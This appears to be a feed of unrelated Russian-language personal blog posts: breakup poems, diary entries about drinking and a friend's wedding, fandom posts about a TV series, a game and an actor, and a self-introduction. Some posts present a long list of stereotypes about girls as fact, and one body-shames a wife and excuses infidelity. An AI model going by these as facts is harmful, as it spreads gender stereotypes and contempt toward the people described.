хотя оно ноет во мне

болевым комком

и мне с ним непросто

точнее - совсем несладко

внутри не осталось

ни стен, ни дверей, ни сил

обугленный остов в груди

не дает покоя

мне нужно забыть

тех кто раньше меня любил

но как исключить их

из списка своих светил

и выйти из схватки

не принимая боя

блефуй до последнего

мой ненадежный друг

ты делаешь вид, что жалеешь

а я - что верю

мы сами замкнули себя

в этот чертов круг

добили, забыли и радостно сбыли

с рук

теперь удивляемся стенам

за каждой дверью

в 4 a.m.

кончается Jаmеson и ночь

и только у боли

срок годности: до упора

я рада бы

все это стойчески

превозмочь

собрать чемодан

и уехать отсюда прочь

но время велело терпеть

finаl cut нескоро

легко стать ошибкой в системе

чужих страстей

сегодня ты в топе

а завтра - в системном сбое

я много курю

и больше не жду новостей

я в жизни встречала

предателей всех мастей

но знаешь мой друг

никто не сравнится

с тобою

После отношений не хочется оставаться врагами или чтобы думали о тебе плохо.
Но с Артемом по нормальному не получилось. Наверное, думает, что я какая-то конченная.) Короче, капец. Хочется, чтобы оставались людьми. Все-таки встречались, были милыми друг для друга, помогали..
Не хочу, чтобы он думал обо мне, к примеру, как о Вике.

Каждый раз напившись, и отключив свой мозг, вы смотрите в потолок,
и думаете о человеке, а не о пьянстве.
Когда вы пьяны - вы ведь очень скучаете по кому-то, правда?

С каким бы человеком ты ни расстался,
всегда будут наступать моменты,
когда тебе будет не хватать именно его.
Именно его фирменного словечка,
именно его улыбки,
именно его тембра голоса,
манеры курить, фигуры,
образа жизни или его мыслей.
Того, как он подносил зажигалку к твоей сигарете или как произносил твое имя,
какой пил кофе,
как и чем угощал тебя и что произносил при этом, его глаз.
Неважно, любил ты его или виделся с ним один раз в жизни.
Когда-нибудь твое подсознание вспомнит,
что в твоей жизни было именно это, и это было связано с каким-то определенным человеком, и ты вспомнишь,
что был когда-то с ним связан чем-то, и поймешь, что неплохо было бы, если бы прямо сейчас повторилось бы то же самое, что и тогда.
Ни один человек не проходит через твою жизнь, не оставив ни следа.
Даже тот, на котором ты только задержал свой взгляд в метро.


Ты услышал мой голос из сотен чужих голосов
В бесконечном стаккато дождей и холодных рассветов,
В искажённых кривых зеркалах, в кружевах парапетов,
Различил силуэт в отраженьях несбывшихся снов.
Ты услышал мой голос из сотен чужих голосов.

Ты меня прочитал по слогам, по касанью души,
По изгибу бровей, по симфонии ветра и пыли,
По пунктиру моих неудачно залатанных крыльев,
По стихии огня, что ваяет любви миражи.
Ты меня прочитал по слогам, по касанью души.

Ты в меня проникаешь по капле хмельного вина -
Итальянского "Кьянти" в палитре дворцов Палантина,
Звездопадом желаний, в фонтане Ди Треви хранимым,
Петербургских мостов разлученных мелодией сна.
Ты в меня проникаешь по капле хмельного вина.

Весь день пила воду, но от обезвоживания не спаслась. Губы аж коркой покрывались.. Под конец рабочего дня я решила максимально охуеть (слава нерабочим камерам!) и уйти гулять. Поболтала по телефону, сходила в гости в соседний магазин, где меня угостили шоколадкой и пожалели :) мне вроде полегче, но всё равно очень мутное состояние. Ещё и головой об холодильник приложилась. Щас бум давление с температурой мерить :)

А я просто одеваю очки, вставляю наушники, пью кофе и живу дальше

И что важно - ровно дышу

без сбоев с ярлыком "LOVE", без сбоев с ярлыком "YOU".

сутки на ногах, за весь день только бокал пиваса (да я себя убью такими темпами), ночь беспорядочной трясни в компании непонятных людей под хуевую музыку богом забытых исполнителей, целовашки с няшей первокурсником (в свою защиту могу сказать, что он выглядел старше своих лет) простигосподи и удачный побег от новоиспеченных ухажеров дворами, а ведь я просто вышла в аптеку, кто ж знал то. нужно чаще выходить за лекарствами

Господи, Вселенная, пожалуйста!!! Пусть то, о чем я думаю, будет правдой!! Пусть это будет именно так, как в моих предположениях!! Я буду ОЧЕНЬ счастлива! И буду ходить с радостью на пары по субботам!

Я жутко взволнована своими снами. Они начинают сбываться, и я жду самого худшего, как приучил делать Витя. Он вообще во многом душит мою творческую и оптимистичную натуру. "Не танцуй, не мечтай, не читай". Привык смотреть на то, как его мама пашет с утра до ночи, и теперь считает, что так и должно быть у всех. Но ведь все люди абсолютно разные, и судьба у каждого разная. Свою я начала предсказывать через сны. Сначала старалась не придавать значения, потом, вспомнив о некоторых событиях, которые произошли после "вещих" снов, я решила проверить: начала записывать сны в блокнот, а потом искать расшифровку и так же ее записывать. И вот с 27 июля все начинает сбываться. А то, что снилось мне 21 августа, сбылось сегодня. Жути нагоняет случайная запись, найденная в старом личном дневнике. Якобы мой ангел-хранитель мальчик, ему всегда 14 лет и он предостерегает меня во снах, но в реальности не появится. Года два-три назад такое гадание было очень популярно на вьюи, может старожилы помнят. Предрасположенность моего мозга ко всяким мистическим штучкам не дает мне покоя. Да, я верю во все это, да, я собираюсь следить и дальше за тем, что будет происходить в моей жизни.

знаете,
иногда пишешь человеку сообщение,
не руками пишешь, душой.
нажимаешь "отправить" и сердце мелкой дробью где-то в горле.
а потом останавливается и камнем в живот.
у вас недостаточно прав.

такое чувство, что кусочек души человеку протягиваешь,
а он тебя мордой в грязь.
прав у вас недостаточно, чтобы всякое дерьмо ему совать.

Не пишешь ему.
День. Неделю. Месяц.
Обещаешь никогда не беспокоить.
И даже, вроде, веришь собственным обещаниям.
А потом.
Между sms своему любовнику и своему другу.
Ни с того. Ни с сего.
Отправляешь это банальное «привет. Как ты?»
И ничего не меняется от ответа.
Не рушится мир. Не взрываются вены. Не останавливается сердце.
Просто немного стыдно, что ты снова стучишься в эту дверь.
Настолько закрытую. Заколоченную. Заминированную.
Просто немного стыдно.
За беспокойство. Меня. Прости.

(c) Strawberry_Doll_666­¬

1. Ни одна девушка не будет готовить сложное блюдо для себя одной. 2. 90% девушек не довольны своей фигурой. 3. Большинство девушек младше 25 лет могут отказаться от серьезных отношений с парнем, если они старше парня больше, чем на 2 года. 4. Девушки никогда не завидуют уму соперницы, более важным показателем для них считаются внешние данные. 5. Любая девушка будет переживать из-за разрыва долгих отношений больше года, даже в том случае, если она не испытывала никаких чувств к партнеру. 6. Когда трое и более девушек собираются вместе, они говорят о мужчинах 7. Практически все девушки изредка курят, но предпочитают не признаваться в этом своему партнеру. 7. Девушки способны купить себе джинсы на пару размеров меньше, тем самым приобретая стимул похудеть. 8. Нет девушек равнодушных к косметике. Даже если девушка не красится, у нее в любом случае дома имеется огромное количество «баночек и скляночек». 9. Иногда девушек больше привлекает оригинальная коробочка, чем подарок, лежащий в ней. Бантики, ленточки, красивые обертки от подарка девушка хранит годами. 10. Большинство девушек хранит смски, открытки, записки от любимых парней. 11. Лет в 10-14 девочки стайками влюбляются в одного и того же мальчика, причем оповещают друг друга об этом, и ревность здесь не имеет места. 12. Если вы думаете, что девушка, возможно, влюблена в вас, спросите об этом ее подруг. Причем, чем больше у нее подруг, тем больше вероятность узнать правду. Девушки не умеют держать язык за зубами 13. Девушки любят тетради, блокноты с красивыми обложками и скупают их, даже если они им не нужны. 14. Бойтесь, если у девушки плохое настроение! Если вы попытаетесь заговорить с ней, то она найдет на что обидеться, если не обратите на нее внимания – обидится еще больше! 15. Все девушки комплексуют по поводу своей внешности. 16. Большинство девушек не любят бодибилдеров. 17. Девушка может заплакать просто так. Без повода. 18. Девушку может расстроить брошенная вами ей фраза с недовольным или обиженным тоном. Причем тон может быть и нейтральным. Просто ей так показалось 19. Если у девушки возникла проблема, ей обязательно нужно обсудить ее с подругами. Неважно, за бутылкой пива или чашкой чая. Главное – обсудить! 20. Девушки не любят молодых людей, плохо относящихся к животным. 21. Девушкам нравятся агрессивные парни, но начинать серьезные отношения они предпочитают с добрыми 22. Почините проводку или электроприбор по просьбе девушки и вырастете в ее глазах до уровня божества. Практически все девушки бояться техники 23. Девушки никогда не хранят контакты бывших парней. Чтобы не было соблазна позвонить 24. Поправиться на 1 килограмм для девушки фатально! По крайней мере, плохое настроение в течение недели обеспечено! 25. Девушки способны наедаться мюслями, фруктами, овсяной кашей, то есть тем, что парни вообще не считают едой 26. Если вы просто так написали смс девушке, будьте уверены, что она уже не просто «знает» что вы ей нравитесь, она практически уверена в том, что вы ее любите! 27. Если вы пригласили девушку на свидание к 9 вечера, знайте, что она начала собираться еще в 5, но все равно опоздает, потому что в последний момент какой-то непослушный локон не захотел укладываться 28. Вы можете несколько месяцев встречаться с девушкой, но так и не увидеть ее ненакрашенной. Если все - таки она показалась вам без макияжа – знайте, что теперь она вам доверяет! 30. Девушку трудно оторвать от витрины магазина в котором много всяких ярких безделушек. Внутри каждой девушки живет сорока! 31. Девушки долго хранят подаренные вами цветы. Они их засушивают! 32. Одеваясь, девушки чаще всего одевают кофту, и только потом брюки. А парни сначала оденут штаны. 33. Девушка может в -30 носить тонкую кофточку. Толстый свитер, визуально делающий ее полнее, она не оденет даже под страхом смертной казни 34. Каждая девушка считает своим долгом кормить своего парня до отвала. Причем чем больший вес вы наберете, тем больше она будет рада 35. Если девушка молчит – дело плохо. Близится буря! 36. Практически все девушки с детства мечтают выйти замуж. И с детства планируют свадьбу 37. Ни одна девушка не проснется ночью и не пойдет к холодильнику. И вообще женская половина человечества искренне не понимает, как можно проснуться ночью, от того что хочешь есть 38. Большинство девушек не будет ждать, когда вы сделаете первый шаг. Причем пока вы в лоб ей не скажете, что она вам не нравится, она от вас не отстанет 39. Если вам не понравилось то, что приготовила девушка, это удар ниже пояса. Вы можете этого даже не сказать, но она все равно догадается каким-то уму непостижимым способом 40. Девушки всегда заостряют внимание на мелочах. Вплоть до узора на обоях. 41. 90 % девушек уверены, в том, что их каждая новая влюбленность: «это навсегда, это любовь, я уверена». И они уже мысленно просчитали свою последующую жизнь с парнем до самой смерти 42. Если ресницы подруги длиннее ресниц девушки - это серьезный повод для зависти 43. Нет девушек, довольных размеров своей груди. Нужно либо больше, либо меньше. Всегда! 44. Отсутствие нужного размера понравившейся кофточки в магазине способно расстроить девушку минимум на неделю! 45. Красивые сережки, колечко и т.п. у знакомой - серьезный повод не просто для неприязни, а настоящей ненависти! 46. Не уметь танцевать для девушки – серьезная проблема! 47. Если вы нелестно высказались о внешних денных девушки, это может спровоцировать развитие комплекса. 48. Девушки бояться выходить ненакрашенными даже в магазин в 5 минутах ходьбы от дома 49. Покупка и выбор подарка на день рождения парня занимает минимум 2 недели 50. Девушки моют посуду после еды, а не перед, как парни.

«Волчонок» S.3 E.6 (спойлеры)

— Надежды нет.

— Скотт, ты что надежда всегда есть.

— Не для меня. Не для Дерека.

— Ты не виноват в смерти Дерека.

—Когда я вмешиваюсь становится только хуже. Люди страдают. И умирают.

— Скотт слушай это не ты. Кто-то в твоей голове говорит тебе это. А теперь…

— Нет это я сам. Может быть это на самом деле лучшее что я могу сделать для всех. Это началось с той ночи когда меня укусили. Помнишь как все было раньше? Мы с тобой. Мы были никем. Мы были непопулярными, плохо играли в лакросс — ничтожества. Мы были никем. Может мне лучше снова стать никем. Никем.

— Скотт послушай, ты ни никто. Ты мой лучший друг, ты мне нужен. Ты мне как брат. если ты на это решишься, то тогда тебе придется взять меня с собой.

Вчера в Миннеаполисе, где проходит в эти дни конвент
" Сверхъестественного", ограбили и избили Мишу Коллинза.
Как сообщил Джим Бивер(Бобби), на Мишу напали трое мужчин после того,
как он вышел из ресторана и решил пройтись пешком до гостиницы, ограбили
его и избили. Опасных для жизни травм нет, обошлось всё синяками на теле и
разбитой губой, на которую наложили швы. Общее состоянии сносное, и
хоть и была отменена его субботняя панель, на фото-опах и автограф-сессии
Миша пообещал присутсвовать. И потому организаторы оч просили
поклонников во время позирования для фото не обнимать Мишу, поскольку
ему больно, а он сам оч извиняется перед всеми за то, что фото будут не
самыми удачными.

Уже сфотографировавшиеся с Мишей сегодня поклонники рассказали, что во
время съемки Миша поворачивался к камере той стороной лица, которой
досталось меньше всего и она выглядела не такой опухшей как другая
и чтобы не было видно разбитой губы. Улыбаться он тоже не может. Всё это
вызвало у многих слёзы. Поклонники, друзья и коллеги желают ему
скорейшего выздоровления и шлют лучики любви.
присоединяйтесь и вы, пишите в тви свои пожелания Мише
под хештегом #WeLoveYouMisha

желание разбить что-то просто огромнейшее.

тем козлам повезет, если никто не узнает кто они. потому что если всплывут их личности…всё, замуровывайтесь в асфальт сразу. потому что за Мишу его миньоны могут очень жестко отомстить.

— Доктор, мой мужчина на все обижается, всем недоволен и изводит меня своей ревностью.
- Не волнуйтесь, просто у вашего мужчины пизда.
- А мне приходится терпеть, успокаивать его и налаживать отношения.
- А у вас хуй.

Заставить мужика удалить всяких шлюх – полпути к успеху. Теперь дело за малым: уговорить его с ними не трахаться.

Предложи любой телке выбор: мир во всём мире или умение рисовать ровные стрелки, и она уже через минуту делала бы селфи на фоне 3 мировой.

Каждый раз, когда мужчина обижается, хочется подойти, погладить по голове и сказать: "Ути бедненький. Опять яички потерял? Хочешь, я поищу?"

Никак не могу понять – почему мужчина не имеет права хотеть и просить от своей женщины – красивого тела? То есть право «быть такой, как хочу я» - у женщин есть, а у мужчин лишь обязанность – любить, что дают? Так что ли? Объясню на примере, почему это абсолютная чушь.

Есть у меня товарищ, а у него жена. Ему 40, ей 27. Пять лет назад у них родился прелестный здоровый ребёнок. Через полгода после родов я приехала к ним в гости и ужаснулась. Вместо молодой и стройной девочки передо мной стояла довольная баба под 90кг. весом. Роды, кормление, гормоны, дай ей время – примерно такие разговоры я тогда вела с другом. Он, весьма не глупый товарищ, всё понимал, к жене относился с нежностью, но… не хотел её. Секс из семейной жизни исчез, тогда мы думали – временно.

Прошло, стесняюсь вам сказать, пять лет. Его жена не просто не похудела, а расплылась ещё больше. За эти годы было перепробовано всё – попытка вместе ходить в зал, сертификаты на программу диетолога, длинные разговоры, отпуска с фитнес-программой, здоровым питанием и spa-программами. Деньги позволяют всё, что хочется, вплоть, до пластической хирургии и отменных психотерапевтов и эндокринологов. Как вы догадываетесь, ничего не сработало. Она продолжает ЖРАТЬ так, что я со своими эпизодическими срывами «съела килограмм кексов» - нервно курю в сторонке. Она не видит в себе проблемы, ей хорошо, вкусненько и комфортно. А он, конечно же, в её глазах – сволочь, потому, что…

Нежность и благодарность за рождение ребёнка превратилась у него в откровенную брезгливость и нежелание даже трогать жену. Секса с ней естественно нет, да и спят они уже в разных кроватях. Да, он ей изменяет регулярно и систематично – он здоровый мужчина, у него, знаете ли, стоит на красивых женщин. Единственное, что сегодня скрепляет их брак – это любовь к сыну, но, думаю, недолго осталось. Он уйдёт, не сегодня, так завтра - среди одноразовых романчиков встретится ему та, в которую он не только засунет член, но и вложит свою душу.

Так вот расскажи я эту историю без собственных оценок, в комментариях все бы напустились на мужчину с воплями «А что ты сделал, чтобы помочь ей стать красивой?». Да всё он сделал. Просто она не видит проблему. Как на неё не укажи. Ей удобно - а что, муж есть, а в форме себя держать не надо, куда он от ребенка денется.

Жуткая логика.

Женщина имеет теоретическое право быть любой – толстой или тощей, асексуальной или сексуальной, ужасно одетой – да какой угодно, на здоровье, лишь бы ей самой нравилось. Она может есть запоем тортики, не заниматься спортом, не ходить ко врачам, гробить свой здоровье и плевать на собственного мужа – пожалуйста. Отобрать это право невозможно.

Но почему вы отбираете право мужчины – не принимать её такой? Почему вместо простой правды – «тебе стоило бы похудеть, на мой вкус» - он должен придумывать какие-то невероятные приёмы, иначе ВСЁ – он козёл, виноват, не нашёл подхода! Почему вы смело отбираете у мужчин право не хотеть тело, которое ему противно?

Вчера прочитала комментарий: - Если бы мой муж сказал, что я толстая, я бы с ним не три дня не разговаривала, а убила бы! С какой радости? Только потому, что неудобная ПРАВДА ранит? Давайте уже как-то по справедливости: - да, женщина может быть любой, - да, мужчина имеет право говорить правду и не хотеть жирное тело. Что вы прикажете делать моему товарищу? Пить виагру? Страдать всю жизнь?

И нечего обижаться!

в моем случае меня изменила книга. точнее, две. и обе написал Эльчин Сафарли. а сами книги называются "Мне тебя обещали" и "Если бы ты знал". они обе пришлись к месту и обнаружила их я весьма вовремя. как раз в тот момент, когда рассталась с парнем после года отношений. точнее, он меня бросил. был сложный период в жизни и данные две книги помогли разобраться в себе и во всем происходящем. они помогли мне справиться со всем и после их прочтения я больше не терзала себя. я вновь стала свободной и счастливой.

так что если у кого-то сложный период в жизни, связанный с отношениями-советую.

Так грустно осознавать, что человека, с которым знакома всю жизнь, с которым большую часть жизни дружила, ты больше не знаешь, больше не узнаешь. Да, никто не стоит на месте, все люди меняются, но как за такой короткий срок можно измениться до неузнаваемости?

Ну что ж, будем учиться жить без этого человека.

• NEKTO • ASK • TWITTER

какими бы ужасными твои проблемы тебе не казались-ты всегда можешь их оправдать

раз в ты такой ситуации, жизнь сделала так специально

потому что именно ты, а не кто то другой должен решить эту проблему

и что то вынести для себя из ее решения, потому что если бы у нас все было хорошо

мы бы не хотели двигаться вперед и совершенствоваться

Действительно достойные видео, над которыми стоит задуматься миллионам людей!

Хватит делать из России посмешище!

Донбасс: так настоящие мужики не воюют!

Если бы на Донбасс не пришла русская весна

История одного российского наемника

встала в 5 30, собралась, пришла, подготовила выкуп, провела выкуп, боролась с желанием своровать пару купюр, поехали на регистрацию, под бесячую неподходящую ("ТРОГАТЕЛЬНУЮ") музыку они расписались, я завидовала и ревела, потом поехали гулять, невеста забыла балетки, я отдала ей свои, потому страдала, было холодно, приходилось отбиваться от свидетеля, поехали в парк, поехали в парк, поехали в парк. они фоткались, мы пили шампусик, все хорошо. стало холодно, каблуки бороздили землю-мать, перекапывая ее, хотелось в туалет, мы поехали к бабушке жениха за благословением, свершилось, мы поехали в кафе с ужасной кухней и отвратительным обслуживанием. мне удалось избежать конкурсов для свидетеля и свидетельницы, но не удалось избежать произнесения тоста. это сопровождалось рюмкой водки, наполненной до краев, ее нужно было выпить во славу жениха и невесты. в итоге я наклюкалась, поднялась на этаж повыше, спряталась там и уронила голову свою бренную на колени свои. просидела так до полного отрезвления, думала пойти проблеваться, чтобы стало лучше, но не хотелось блевать, это была самая настоящая проблема. вместо задуманного обжирания на каждой фотке я прикладываюсь к своему бокалу. передвигаясь по стеночке, каждые полчаса спускалась на улицу и долго и томно курила, смотря на лужи. меня вытаскивали танцевать, меня прижимали к себе, меня нежно брали за руки и целовали в ладони, а потом с дурацкой улыбкой говорили:"кстати, забыл спросить, у тебя есть парень?" троилось в глазах, приходилось танцевать с чемпионом по боксу, который утыкался мне в шею, томно дышал и шарил руками по всей спине, единственным желанием было раздеться и лечь спать.

мне стыдно. свадьба подруги, я свидетельница, но сижу на своем месте, утираю салфетками глаза и от каждой фразы начинаю хныкать себе тихонечко. сука, я думала, что не буду так скучать. если раньше по десятибалке было 8, то вчера достигло 9,7

Привет, вьюи!

Меня зовут Анастасия (не люблю сокращенное имя). У моей лучшей подруги найдется целая сокровищница с придуманными мне прозвищами. Думаю, будет не лишним представить Вам парочку. Я была и хамстервиллем, и щечками, и крошкой, и гномом, и бомжующим шреком, и маленьким фритцем. Это всего-лишь процентов 5-6 от всех остальных выдуманных словечек Ксени. На данный момент все просто, я - заниженная приора.

Да, из этого следует выделить, что мой рост 164. Для меня это очень маленькая величина, т.к. мне не нравится быть низкой. Мой друг даже решил танцевать вальс на последнем звонке с другой девчонкой из-за того, что она выше (если ты это читаешь, Толян, знай, что месть еще впереди).

Одним из моих самых значимых увлечений является просмотр сериалов (и фильмов, соответственно). Перечислять все TV шоу, что я смотрю, очень неохота, ибо слишком их уж много. Но самую основную часть я добавила в гланую часть моего блога. Наведите курсор на замечательных Аарона Пола и Гайзенберга (как же без крутых метамфетаминчиков?) и увидите небольшой списочек.

Так же, мою жизнь нельзя считать полноценной без книг. Несмотря на то, что последнее время я халявлю и ничего не читаю (литературный кризис, ей-богу), я поклоняюсь литературе. Спасибо невероятной учительнице - Наталье Юрьевне. Она привила мне любовь к чтению и к самой себе (ихих).

Что до моей будущей профессии, то тут все сложно. Я поступила на 1 курс лигвистического факультета. Но до сих пор не выбрала второй язык. Метаюсь между китайским и испанским. А вот на вопрос "Кем ты будешь после окончания?" я затрудняюсь ответить. Я буду лингвистом-переводчиком, которые не особо востребованы сейчас. Хотя, поживем-увидим. Хотелось бы отметить, что профессия моей мечты - писатель. Очень надеюсь, что именно этим я буду заниматься в будущем. С самого детства я представляла себя в роли писателя. Возможно, однажды.

Люблю мифологию. Очень. С увлечением читаю различные исторические справки, мифы и легенда обо всех народах мира. При этом, от самой истории как предмета меня бросает в дрожж.

Что до банальных фактах о моей жизни, то тут сказать мало. Живу в городе Красноярск (как и многие, мечтаю уехать из России) вместе с мамой и старшим братом. С мамой у меня довольно дружеские отношения, но иногда мне кажется, что я через чур от нее завишу. А брат… с ним мы не враги, но и не лучшие друзья, чего я бы очень хотела. Он хоть и идиот, но все же брат.

Думаю, этого достаточно для знакомства и понятия меня как человека.

ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ That guy is so fucking in love with you. Изначально я пыталась сделать пост на игру, на которую в общем-то и планировала, и вот я уже сделала заголовок, написала километровое послание о том, какая же все таки прекрасная игра « Don't Starve », но мой браузер решил показать характер и закрылся, а это значит, что еще хотя бы пару дней я точно не захочу делать никаких постов о той самой игре. Поэтому я пришла рассказать о несправедливости мира к персонажу другой игры, Уоррену Грэкхему. Все четыре эпизода его френдзонит главная мадам Макс, из-за чего меня просто таки каждый раз разрывает. Серьезно, я может только и играю потому что хочу уже наконец увидеть, как Макс перестанет френдзонить этого милашку. Всю игру он или раздает люлей, дабы гг не обижали, либо сам люлей этих и огребает. Уоррен — задрот/гиг/ботан, ну и если бьет кого-то, то по его словам — альфа. Хоть и признается, что обычно всегда били его, а не он. И как по мне, так он очень очаровашка, ну правда. Если разработчики не позволят замутить наконец таки уже с ним — я разочаруюсь во всех играх разом и попросту больше никогда не буду ничего покупать , я буду играть в то, что уже имею , дабы не разочаровываться так сильно.

Насколько я знаю, у некоторых были догадки по-поводу того, что Уоррен — всё зло игры, я же так не думала никогда и думать так не буду, и если вдруг так окажется, что Уоррен зло — ничего страшного . Только в этом случае я не буду расстраиваться из-за того, что он в вечной френдзоне. Но если мне так и не позволят заставить Макс замутить с ним в последнем эпизоде, то это dflgjdfklgjdlfkgj — всё. Серьезно. Как вообще можно так поступать, объясните. Всю игру разные дамы замечают, что Уоррен чертовски сильно влюблен в Макс, что Уоррен умный, хороший и вообще, Макс, кажется, Уоррен хочет добиться твоего внимания — все без толку. Главная героиня прекрасно понимает, что он в нее влюблен, но ничего с этим не делает вообще, ты нормальная или нет?

Признаюсь, мне было даже не особенно интересно искать пропавшую мадам — Рэйчел, я просто ждала, когда Макс уже наконец поймет, что пора бы перестать Уоррена френдзонить. Для меня такой расклад будет прекрасной концовкой игры, вот правда. Есть целое море людей, которым нравится 'Хлоя х Макс', да как так-то вообще? Вы только посмотрите на это, ну неужели Уоррен заслуживает пожизненную тусу в френдзоне у Макс? Я так не думаю.

«Я знаю, что если дам Уоррену свой телефон , он взорвёт его во имя "науки". Он хочет, чтобы я вернула ему его флешку после того, как одолжил мне её менее чем на неделю. Он сказал мне посмотреть всё, потому что у него там тонны классных сериалов и фильмов . Слава Богу, это было не порно. Думаю, его можно назвать настоящим другом и у нас немало общих интересов. Он любит науку, но так же понимает искусство и ценит хорошую фотографию. Даже когда он сказал, что ему нравятся мои фото, я не могу сказать, что он просто был вежлив. Уоррен гик , но точно даст тебе знать свои предпочтения, я не думаю, что он когда-нибудь будет мне лгать. Хорошо знать, что ты имеешь по крайней мере одного сильного союзника твоих лет здесь… И он заставляет меня улыбаться ».

я никогда не пыталась намекнуть как-то о чем-то и кому-то.я этого даже не умею :D прямотааааа
и после этого девушек называют тупыми.ок.
не…серьезно?
че за"го".меня аж выворачивает от этого "слова"

Hello, stranger! И вот он тот момент когда симпатия перерастает в раздражение. Может я фантазирую себе что-то, но кажется И. выбивает из меня слова, к которым я не готова? Тут еще идут разговоры о его приезде, а я как бы хз. И начинается "Ты хочешь, чтобы я приехал или нет?" Да я сама не знаю чего хочу. Все еще не могу понять, чувствую ли я хоть что-нибудь. Его сообщения скорее нервируют уже, чем радуют. Именно поэтому все реже захожу в контакт. И, кажется, пора создавать новую страницу, чтоб хоть музыку спокойно послушать. Собственно, а я что? Я решила пускать слюни на школьника. Гуд. Говорила уже, что я ненормальная? Хочется еще миллиард раз это написать, может дойдет до меня. памагити

Я помню, как в последний его приход думала, что нужно остановиться. Нужно оборвать эту связь до того, как мне снова будет очень больно, до того, как меня сломают. Нужно уйти самой. Нужно быть сильней. Каждый день, каждый день нашего общения, мне казалось, что правильней будет сказать ему: "Не пиши мне больше. И не говори со мной. Иначе потом будет плохо". Я ведь знала, я ведь прекрасно всё знала, я знала, чем всё закончится, я знала, что этот путь, наш с ним общий путь, он приведёт меня к океану слёз и боли, я знала, что это не судьба, я знала, что ему от меня нужно только временное убежище, временное спасение от проблем, временный уют, временное тепло. Я писала об этом подружкам, писала об этом сюда, утверждала, что я всё понимаю и ко всему готова.

Но есть нечто такое, что всё равно не оставит тебя в покое, несмотря на то, что ты вроде вся такая умная, понимающая, всё знающая и уже настроенная на порцию адовой боли. Это надежда. Надежда, которая всегда будет внутри, покуда есть чувства. У меня была эта надежда. Она предательски нашёптывала мне: "А что если в этот раз он останется? А что если сейчас всё будет по-другому?", и я подпитывала её, продолжая общение с человеком, который был способен убить меня, не прилагая при этом никаких особых усилий. Я не считаю, что в этом была моя слабость, скорее в этом была моя человечность. Скорее, я просто настолько не хотела его терять, что, строя стены, не замечала, что они соломенные. Я не хотела надеяться, но надеялась. Я не хотела ждать, что он останется, но ждала.

Сегодня ровно три месяца, как всё закончилось. Снова. Три месяца я собирала себя по крупицам. Три месяца я училась без него ходить, есть, дышать. Три месяца я притворялась, что мне нисколечко ни жаль и что я даже не скучаю. Я счастлива. У меня потрясающие друзья, каждый день полон безумных поступков, в каждом моём дне очень много смеха, радости и нереальных эмоций. Я улыбаюсь, я что-то делаю, куда-то езжу и хожу, у меня всё очень и очень хорошо. Но я хочу, чтобы во всём том, что есть у меня сейчас, был ещё и он. Три месяца, и я ведь знаю, что ничего не будет, но я по-прежнему надеюсь. То ли встретить, то ли голос услышать, то ли сообщение получить. Три месяца, а я никак не сотру всё наше общее из своей памяти, никак не научусь спокойно говорить об этом, никак не перестану отслеживать его жизнь через социальные сети.

Три месяца. У меня не прошло.

Давайте будем честными к себе- не путать любовь с лёгкой симпатией. А мне приходится быть с тем, кто мне более-менее симпатичен и испытывает какие-то чувства ко мне, а не с тем, кого я люблю на протяжении нескольких лет. Просто такое осознавание приходит, когда ты находишься у тогокоголюблю дома, у вас осушена бутылка шампанского, играет Modjo- И ВЫ РЕЗКО ЦЕЛУЕТЕСЬ. Вначале вы сидите на диване, подняв голову вверх, потом неожиданно он начинает трогать твои волосы, пододвигается поближе, губы начинают ласкать лоб и медленно переходить к губам.

А спустя 2 часа слышим стук в дверь, приезд родителей, успеваем придти в себя, но всё с тем же виноватым взглядом выходим в коридор, пытаемся вызвать такси, выбегаем во двор и целуемся ночью, крепко обнимая друг друга и не отпуская до приезда машины. Вот так, ребят. А теперь хочется сдохнуть.

Спустя столько лет? СПУСТЯ СТОЛЬКО ЛЕТ?

UPD: Я не знаю, можно ли сейчас назвать это любовью, но я почему-то хочу, чтобы сейчас это так и звалось. Можно заменить на "очень сильные чувства".

Пересматривая старые фотографии, я испытываю некую боль. Мне до безумия хочется вернуть те моменты. Но они больше не повторяться, и ты больше никогда не испытаешь той радости, как тогда. В один момент я радуюсь, что это было именно со мной, но в тоже время меня ломает боль, ведь этого больше никогда не повториться. Порой, я хочу чтоб все мои прекрасные моменты жизни были записаны на видео, и я могла пересматривать их. Но увы. Порой воспоминания душат. Нет ничего больнее воспоминаний.

знаешь, что я хочу? не то, на что указывала мне моя мама и не то, что мне советовали другие, а именно чего хочу я? хочешь знать, что это? я хочу жить. хочу просыпаться в теплом месте и чувствовать, будто мое тело зацеловало солнце и встречать людей с именами, которые я никогда не слышал раньше. я хочу ехать куда-то всю ночь и выкрикивать слова песни, которые обычно стесняюсь показывать, хочу видеть горы, настолько большие и все время напоминающие, насколько же мал я по сравнению с огромным и непредсказуемым миром. хотелось бы прыгнуть в холодную воду и слышать свой крик и плавать в месте, где меня будут нежно обволакивать волны. хочу пить вкуснейший кофе, играть с тобой в снежки, спорить о теориях вселенной и заснуть у тебя на груди. я хочу построить замок из одеял и смотреть с тобой дешевые ситкомы до 4 утра, истерично заливаясь в смехе. хочу видеть места, которые я видел лишь на фотографиях и просто целовать тебя каждый чертов день.

как же хочется ему позвонить и взахлеб, со слезой вперемешку, рассказать как же трудно мне жить, не имея его поддержку.

Ну вот, приходит осмысление и внутри все меняется. Флегматичный ураган, который поворачивается сторонами «обида», «гнев», «любовь»… Мне кажется, в таких случаях больше подходит твиттер. Каждые пять минут туда можно писать новый актуальный твит-состояние. … Ты написал в жж. Значит, я еще дышу.

"Для того, чтобы отдохнуть, расслабиться и снова почувствовать себя живым не обязательно лететь за моря и океаны и пролеживать ямку в горячем песке, достаточно немного хорошего вина, пятеро-шестеро добрых друзей и хороший крепкий веселый разговор. Отдых, он ведь не только в теле. Он в голове."

Главное не задумываться.

Я чувствую себя никак.

В очередной раз хвалю свой организм за умение мобилизироваться в сложные моменты и отключать меня, когда нужно.

Хотя, если забивать то место, в котором you, работой, спортом, навязчивым общением с друзьями и коллегами, уборкой, то в общем-то некогда осознавать.

От себя убежишь ;-)

Привет, народ!Решила себя заставить сегодня написать этот пост, так как мыслей много, а все так красиво вывести в текст, нужно постараться.Сегодня совершенно обычное утро.Утро, когда я просыпаюсь, умываюсь, завтракаю и погружаюсь в соц. сеть, проверить почту, ну а потом, конечно же, дела.И вот знаете, такое чувство появилось у меня, последние 4 дня, чувство бессмысленности, чувство опустошенности и незнания, что делать следующий день.Это все связано с одним человечком, просто он уехал и мне очень плохо.
